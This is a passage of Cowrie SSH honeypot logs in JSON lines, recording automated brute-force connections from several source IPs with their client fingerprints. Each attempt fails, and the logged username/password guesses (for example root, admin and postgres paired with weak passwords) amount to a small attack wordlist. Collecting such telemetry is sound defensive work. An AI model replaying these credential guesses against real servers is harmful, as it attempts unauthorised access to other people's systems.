"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:03.841715Z","src_ip":"103.75.199.4","session":"e135a3ac9a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:04.118194Z","src_ip":"103.75.199.4","session":"e135a3ac9a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:05.213389Z","src_ip":"103.75.199.4","session":"e135a3ac9a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":46122,"dst_ip":"10.17.0.5","dst_port":22,"session":"e92a56513cfc","protocol":"ssh","message":"New connection: 78.40.37.143:46122 (10.17.0.5:22) [session: e92a56513cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:12.037075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:12.041745Z","src_ip":"78.40.37.143","session":"e92a56513cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:12.125032Z","src_ip":"78.40.37.143","session":"e92a56513cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mtm$%889*G*S3%G","message":"login attempt [root/Mtm$%889*G*S3%G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:12.498264Z","src_ip":"78.40.37.143","session":"e92a56513cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:13.584237Z","src_ip":"78.40.37.143","session":"e92a56513cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48714,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a9dc4365435","protocol":"ssh","message":"New connection: 103.75.199.4:48714 (159.203.135.109:22) [session: 2a9dc4365435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:25.621143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:25.625878Z","src_ip":"103.75.199.4","session":"2a9dc4365435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:25.717314Z","src_ip":"103.75.199.4","session":"2a9dc4365435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:25.992093Z","src_ip":"103.75.199.4","session":"2a9dc4365435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":44198,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ce31a9d0549","protocol":"ssh","message":"New connection: 80.94.92.182:44198 (10.17.0.5:22) [session: 7ce31a9d0549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:27.058928Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:27.085700Z","src_ip":"103.75.199.4","session":"2a9dc4365435","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:27.224591Z","src_ip":"80.94.92.182","session":"7ce31a9d0549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:27.229966Z","src_ip":"80.94.92.182","session":"7ce31a9d0549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890-=","message":"login attempt [solana/1234567890-=] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:28.082051Z","src_ip":"80.94.92.182","session":"7ce31a9d0549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:29.439890Z","src_ip":"80.94.92.182","session":"7ce31a9d0549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":60850,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad64edf3f4a","protocol":"ssh","message":"New connection: 94.154.34.232:60850 (10.17.0.5:22) [session: 9ad64edf3f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:35.830009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:35.834674Z","src_ip":"94.154.34.232","session":"9ad64edf3f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:35.954794Z","src_ip":"94.154.34.232","session":"9ad64edf3f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"junior","password":"junior","message":"login attempt [junior/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:36.481225Z","src_ip":"94.154.34.232","session":"9ad64edf3f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:37.605415Z","src_ip":"94.154.34.232","session":"9ad64edf3f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48638,"dst_ip":"159.203.135.109","dst_port":22,"session":"456ba5f0efc3","protocol":"ssh","message":"New connection: 103.75.199.4:48638 (159.203.135.109:22) [session: 456ba5f0efc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:47.472537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:47.476966Z","src_ip":"103.75.199.4","session":"456ba5f0efc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:47.568249Z","src_ip":"103.75.199.4","session":"456ba5f0efc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:47.840037Z","src_ip":"103.75.199.4","session":"456ba5f0efc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:41:48.933790Z","src_ip":"103.75.199.4","session":"456ba5f0efc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":49364,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c5554e43ddc","protocol":"ssh","message":"New connection: 178.20.210.186:49364 (10.17.0.5:22) [session: 4c5554e43ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:04.842113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:04.847345Z","src_ip":"178.20.210.186","session":"4c5554e43ddc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:04.959332Z","src_ip":"178.20.210.186","session":"4c5554e43ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"google","password":"google","message":"login attempt [google/google] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:05.377331Z","src_ip":"178.20.210.186","session":"4c5554e43ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:06.486474Z","src_ip":"178.20.210.186","session":"4c5554e43ddc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44092,"dst_ip":"159.203.135.109","dst_port":22,"session":"b29321480f2a","protocol":"ssh","message":"New connection: 103.75.199.4:44092 (159.203.135.109:22) [session: b29321480f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:09.382760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:09.388029Z","src_ip":"103.75.199.4","session":"b29321480f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:09.483251Z","src_ip":"103.75.199.4","session":"b29321480f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:09.771305Z","src_ip":"103.75.199.4","session":"b29321480f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:10.869584Z","src_ip":"103.75.199.4","session":"b29321480f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":39086,"dst_ip":"10.17.0.5","dst_port":22,"session":"58ecd4e44ab8","protocol":"ssh","message":"New connection: 78.40.37.143:39086 (10.17.0.5:22) [session: 58ecd4e44ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:22.592799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:22.597236Z","src_ip":"78.40.37.143","session":"58ecd4e44ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:22.673661Z","src_ip":"78.40.37.143","session":"58ecd4e44ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cb123456@","message":"login attempt [root/Cb123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:23.013861Z","src_ip":"78.40.37.143","session":"58ecd4e44ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:42:24.095281Z","src_ip":"78.40.37.143","session":"58ecd4e44ab8","protocol":"ssh"}
